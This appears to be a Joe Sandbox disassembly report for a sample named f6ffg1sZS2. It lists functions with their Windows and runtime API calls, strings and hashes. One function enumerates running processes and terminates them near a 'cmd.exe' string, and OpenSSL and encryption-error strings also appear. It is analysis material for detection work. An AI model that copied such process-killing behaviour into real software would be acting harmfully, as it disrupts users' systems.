__wsetlocale_nolock.LIBCMT ref: 007A5C36
__lock.LIBCMT ref: 007A5C70
__updatetlocinfoEx_nolock.LIBCMT ref: 007A5C82
___removelocaleref.LIBCMT ref: 007A5C88
__updatetlocinfoEx_nolock.LIBCMT ref: 007A5CA7

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__wsetlocale_nolock
String ID:
API String ID: 790675137-0
Opcode ID: 3cab656808093ffb0b7c2d8622ef922f607b603a38dfb59e1efcc890936921bd
Instruction ID: 7e8ce7b0c11ea68696125bd43f0c2e4b9f19cf041ff24a63b902684b9ce8ef30
Opcode Fuzzy Hash: 3cab656808093ffb0b7c2d8622ef922f607b603a38dfb59e1efcc890936921bd
Instruction Fuzzy Hash: C1413A72904705EFDB11AFA4DC8AB9E37E0BFC6324F20422EF51496182DB7E9550CB61

Function 00792440 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 52processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 0079244F
Process32FirstW.KERNEL32(00000000,0000022C), ref: 00792469
OpenProcess.KERNEL32(00000001,00000000,?), ref: 007924A1
TerminateProcess.KERNEL32(00000000,00000009), ref: 007924B0
CloseHandle.KERNEL32(00000000), ref: 007924B7
Process32NextW.KERNEL32(00000000,0000022C), ref: 007924C1
CloseHandle.KERNEL32(00000000), ref: 007924CD

Strings

cmd.exe, xrefs: 00792486

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID: cmd.exe
API String ID: 2696918072-723907552
Opcode ID: fdf569c1fc24328512074638cee01b2980f7d16d10c8c596d49f7b3c676d4029
Instruction ID: a47a9db78efe902b824de77250812918415508e50d5251480682f038e705ba94
Opcode Fuzzy Hash: fdf569c1fc24328512074638cee01b2980f7d16d10c8c596d49f7b3c676d4029
Instruction Fuzzy Hash: 160152355022157BEB606BA0BC8DFAE766CEB49755F000151FD08D2152E7689D458AA1

Function 0078F310 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 311libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Shell32.dll,75B04E90), ref: 0078F338
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 0078F353

Strings

\, xrefs: 0078F548
SHGetFolderPathW, xrefs: 0078F34D
Shell32.dll, xrefs: 0078F32C

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetFolderPathW$Shell32.dll$\
API String ID: 2574300362-2555811374
Opcode ID: 8f4c4c04e95f37dd12b7a6beabdf681d2198f1c6ee5fae4db7714bc39b387020
Instruction ID: d798570f24fb2d57885a2d6b3b670bd732d176944278a719133e1ba6ba8de9ee
Opcode Fuzzy Hash: 8f4c4c04e95f37dd12b7a6beabdf681d2198f1c6ee5fae4db7714bc39b387020
Instruction Fuzzy Hash: E3C16A71D01209EBDF00EFA4DD89BDEBBB5BF14308F104129E405B7291EB79AA19CB91

Function 0078CBA0 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 0078CDDE
_malloc.LIBCMT ref: 0078CE12
_malloc.LIBCMT ref: 0078CE21
_fprintf.LIBCMT ref: 0078CE75

Strings

 , xrefs: 0078CCAF
\\n, xrefs: 0078CC1B
Error encrypting message: %s, xrefs: 0078CE67

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:  $Error encrypting message: %s$\\n
API String ID: 1783060780-3771355929
Opcode ID: f7276fecaddcb45b3995aa800f2cc48fee7d831ea96feba8fd41cafc4000b31c
Instruction ID: 785c73ff566e06b6da09001b6e281c0142519df652564562a6f5c621aa01d3fa
Opcode Fuzzy Hash: f7276fecaddcb45b3995aa800f2cc48fee7d831ea96feba8fd41cafc4000b31c
Instruction Fuzzy Hash: 7AA193B1C00249DBEF11EFE4CC4ABDEBB75AF15314F140128E4057A283E7BA5659CBA2

Function 007E3350 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 148COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 007E3382
_strncmp.LIBCMT ref: 007E33C2

Strings

.\crypto\pem\pem_lib.c, xrefs: 007E3393, 007E33D3, 007E3407, 007E3439, 007E3491
DEK-Info: , xrefs: 007E3422
Proc-Type: , xrefs: 007E337C
ENCRYPTED, xrefs: 007E33BC

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: .\crypto\pem\pem_lib.c$DEK-Info: $ENCRYPTED$Proc-Type:
API String ID: 909875538-2908105608
Opcode ID: 64cf814f8ecaa7c4c01cdc9e424a88992e9e3f6f7d02b34ed74bcf8abb6e3db2
Instruction ID: 599d25df560b6a06765dd03230ed52bcfef9df3ecdd841db81f69c02e2b4b5e5
Opcode Fuzzy Hash: 64cf814f8ecaa7c4c01cdc9e424a88992e9e3f6f7d02b34ed74bcf8abb6e3db2
Instruction Fuzzy Hash: CA416FA2BC93C179FB32552ABC0FFA673815B55B11F0D0425F688EB2C3FB8D85464191

Function 007B06EC Relevance: 10.6, APIs: 7, Instructions: 84COMMON

Download Yara Rule

APIs

___unDName.LIBCMT ref: 007B071B
_strlen.LIBCMT ref: 007B072E
__lock.LIBCMT ref: 007B074A
_malloc.LIBCMT ref: 007B075C
_malloc.LIBCMT ref: 007B076D
_free.LIBCMT ref: 007B07B6

Part of subcall function 007A42FD: IsProcessorFeaturePresent.KERNEL32(00000017,007A42D1,00000000,?,?,007CF284,007B0D1A,?,007A42DE,00000000,00000000,00000000,00000000,00000000,007A981C), ref: 007A42FF

_free.LIBCMT ref: 007B07AF

Part of subcall function 007A0BED: RtlFreeHeap.NTDLL(00000000,00000000,?,007A507F,00000000,00000001,00000000,?,?,?,007B0D1A,007CF284,?), ref: 007A0C01
Part of subcall function 007A0BED: GetLastError.KERNEL32(00000000,?,007A507F,00000000,00000001,00000000,?,?,?,007B0D1A,007CF284,?), ref: 007A0C13

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _free_malloc$ErrorFeatureFreeHeapLastNamePresentProcessor___un__lock_strlen
String ID:
API String ID: 3704956918-0
Opcode ID: 733136cc5045244dd03262ac4db2eb71fc0b91c81d9833f7463d7e79652d7bb9
Instruction ID: 8ec4086383e579b3890b6488e08c58b3d5e47d606d754265efd6597384e65bca
Opcode Fuzzy Hash: 733136cc5045244dd03262ac4db2eb71fc0b91c81d9833f7463d7e79652d7bb9
Instruction Fuzzy Hash: 6221A7B1900705EBDB21AB74CD45B9BF7D4AF45720F108669F4189A282EE7CE840CAD1

Function 007A5141 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMON

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 007A5141

Part of subcall function 007A7D6C: EncodePointer.KERNEL32(00000000,?,007A5146,007A3FFE,00887990,00000014), ref: 007A7D6F
Part of subcall function 007A7D6C: __initp_misc_winsig.LIBCMT ref: 007A7D8A
Part of subcall function 007A7D6C: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 007B26B3
Part of subcall function 007A7D6C: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 007B26C7
Part of subcall function 007A7D6C: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 007B26DA
Part of subcall function 007A7D6C: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 007B26ED
Part of subcall function 007A7D6C: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 007B2700
Part of subcall function 007A7D6C: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 007B2713
Part of subcall function 007A7D6C: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 007B2726
Part of subcall function 007A7D6C: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 007B2739
Part of subcall function 007A7D6C: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 007B274C
Part of subcall function 007A7D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 007B275F
Part of subcall function 007A7D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 007B2772
Part of subcall function 007A7D6C: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 007B2785
Part of subcall function 007A7D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 007B2798
Part of subcall function 007A7D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 007B27AB
Part of subcall function 007A7D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 007B27BE
Part of subcall function 007A7D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 007B27D1

__mtinitlocks.LIBCMT ref: 007A5146
__mtterm.LIBCMT ref: 007A514F

Part of subcall function 007A51B7: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,007A5154,007A3FFE,00887990,00000014), ref: 007A8B62
Part of subcall function 007A51B7: _free.LIBCMT ref: 007A8B69
Part of subcall function 007A51B7: DeleteCriticalSection.KERNEL32(0088AC00,?,?,007A5154,007A3FFE,00887990,00000014), ref: 007A8B8B

__calloc_crt.LIBCMT ref: 007A5174
__initptd.LIBCMT ref: 007A5196
GetCurrentThreadId.KERNEL32 ref: 007A519D

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: 6b3741714ec4a4e8e53a757413fea71814b9a50de93e565f95138f7ce8efe323
Instruction ID: 5ed87158859da60c6035b0788128838c744fd8495898e70ba91cab9dab5608f8
Opcode Fuzzy Hash: 6b3741714ec4a4e8e53a757413fea71814b9a50de93e565f95138f7ce8efe323
Instruction Fuzzy Hash: 99F02B3214AB159DF2383778BC0BBAA36D4EF83730B11075AF024C41D2FF6C84014561

Function 007A53AE Relevance: 9.0, APIs: 6, Instructions: 50COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 007A594A

Part of subcall function 007A8AF7: __mtinitlocknum.LIBCMT ref: 007A8B09
Part of subcall function 007A8AF7: __amsg_exit.LIBCMT ref: 007A8B15
Part of subcall function 007A8AF7: EnterCriticalSection.KERNEL32(00000000,?,007A50D7,0000000D), ref: 007A8B22

_free.LIBCMT ref: 007A5970

Part of subcall function 007A0BED: RtlFreeHeap.NTDLL(00000000,00000000,?,007A507F,00000000,00000001,00000000,?,?,?,007B0D1A,007CF284,?), ref: 007A0C01
Part of subcall function 007A0BED: GetLastError.KERNEL32(00000000,?,007A507F,00000000,00000001,00000000,?,?,?,007B0D1A,007CF284,?), ref: 007A0C13

__lock.LIBCMT ref: 007A5989
___removelocaleref.LIBCMT ref: 007A5998
___freetlocinfo.LIBCMT ref: 007A59B1
_free.LIBCMT ref: 007A59C4

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: __lock_free$CriticalEnterErrorFreeHeapLastSection___freetlocinfo___removelocaleref__amsg_exit__mtinitlocknum
String ID:
API String ID: 626533743-0
Opcode ID: b7f73f045ce2e93a6cfd49e1c35777191615e72c721ef45493d015c2fc11e15e
Instruction ID: fc6c1f760baf67e6176c4ff8343315c9d56beb7f6cb29344836706f88a561107
Opcode Fuzzy Hash: b7f73f045ce2e93a6cfd49e1c35777191615e72c721ef45493d015c2fc11e15e
Instruction Fuzzy Hash: D1016531502B00D6DF386B68D44A71E7390AFC2731F20475EE4649A0D4CFBDA980CA55

Function 007D73F0 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 007D74E9

Strings

+, xrefs: 007D7475
Ul}, xrefs: 007D7596, 007D75A9, 007D75D1, 007D75F6, 007D762A, 007D765D, 007D767F
, xrefs: 007D7482
0123456789ABCDEF, xrefs: 007D74D6

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: __aulldvrm
String ID: $+$0123456789ABCDEF$Ul}
API String ID: 1302938615-3638441740
Opcode ID: 46097b13d96c4c297ca8efc7e80fea939be27f9b086ca791465465961d41b3b7
Instruction ID: faeea5caa10ca36809a0f49e65e3cb025109fa56cd1c8da1a17b12cb6ba23ca1
Opcode Fuzzy Hash: 46097b13d96c4c297ca8efc7e80fea939be27f9b086ca791465465961d41b3b7
Instruction Fuzzy Hash: 1D8167B1A087509FD714CE289844A2BBBF5BFC8754F15091EF989A7312E338ED05CB92

Function 007D06A0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 119COMMONLIBRARYCODE

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 007D07C3

Strings

func(%lu), xrefs: 007D0734
reason(%lu), xrefs: 007D0758
error:%08lX:%s:%s:%s, xrefs: 007D0792
lib(%lu), xrefs: 007D071C

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: ___from_strstr_to_strchr
String ID: error:%08lX:%s:%s:%s$func(%lu)$lib(%lu)$reason(%lu)
API String ID: 601868998-2416195885
Opcode ID: db817cb29b85b471ef273a171ff70b28c037892b903f8851f2fc2e4479801526
Instruction ID: 0bc5166b223d9a944df551b1b2a1769c4e933d86151af3805a40cd30a25c69ef
Opcode Fuzzy Hash: db817cb29b85b471ef273a171ff70b28c037892b903f8851f2fc2e4479801526
Instruction Fuzzy Hash: CE41C371A043059BDB24EE24DC45BAFB7E9EF81354F40082FE59597341E679E9088BE2

Function 007DAE30 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 007DAE4B
_memset.LIBCMT ref: 007DAE6C

Strings

g9~, xrefs: 007DAE31, 007DAE36, 007DAE63, 007DAF14, 007DAF1D
.\crypto\buffer\buffer.c, xrefs: 007DAE88, 007DAEBE, 007DAED3, 007DAEF0

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$g9~
API String ID: 2102423945-4056134768
Opcode ID: d52dbb154ff0cada08f1ffba21b5b8cdf5d2809ef1ee76f633f0007a4e849b9c
Instruction ID: 0c8ce09dd22dd8a4656a194fbd19c0963bd19c5fe5258f4b7df9d9a224d017f2
Opcode Fuzzy Hash: d52dbb154ff0cada08f1ffba21b5b8cdf5d2809ef1ee76f633f0007a4e849b9c
Instruction Fuzzy Hash: 2A2101B6B003217BE614666CFC46B16B3A9FB84B14F008126F218D73C2E2B5A810C7D9

Function 00845D39 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 00845D3D

Part of subcall function 007A501F: GetLastError.KERNEL32(00000001,00000000,007A520D,007A0CE9,?,?,007B0E81,00000001,00000000,?,?,?,007B0D1A,007CF284,?), ref: 007A5021
Part of subcall function 007A501F: __calloc_crt.LIBCMT ref: 007A5042
Part of subcall function 007A501F: __initptd.LIBCMT ref: 007A5064
Part of subcall function 007A501F: GetCurrentThreadId.KERNEL32 ref: 007A506B
Part of subcall function 007A501F: SetLastError.KERNEL32(00000000,007B0E81,00000001,00000000,?,?,?,007B0D1A,007CF284,?), ref: 007A5083

__calloc_crt.LIBCMT ref: 00845D60
__get_sys_err_msg.LIBCMT ref: 00845D7E
__get_sys_err_msg.LIBCMT ref: 00845DCD

Strings

Visual C++ CRT: Not enough memory to complete call to strerror., xrefs: 00845D48, 00845D6E

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: ErrorLast__calloc_crt__get_sys_err_msg$CurrentThread__getptd_noexit__initptd
String ID: Visual C++ CRT: Not enough memory to complete call to strerror.
API String ID: 3123740607-798102604
Opcode ID: 02d5cc14de20b641d2ba35dc16b3e968847f89585fde0eb3412ffea262e1286b
Instruction ID: d7c1eb50f65214fbf71e38e57f465701596aa06e1427afc7e1c7902e0637309b
Opcode Fuzzy Hash: 02d5cc14de20b641d2ba35dc16b3e968847f89585fde0eb3412ffea262e1286b
Instruction Fuzzy Hash: EA11C432901E1DABEB212A659C0DBAF73DCFF41B64F100535FE08DA253E665DD0042A1

Function 007E2FF0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

_fprintf.LIBCMT ref: 007E307E
_memset.LIBCMT ref: 007E30AB

Strings

phrase is too short, needs to be at least %d chars, xrefs: 007E3070
.\crypto\pem\pem_lib.c, xrefs: 007E3097
Enter PEM pass phrase:, xrefs: 007E3036, 007E3043, 007E3084

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
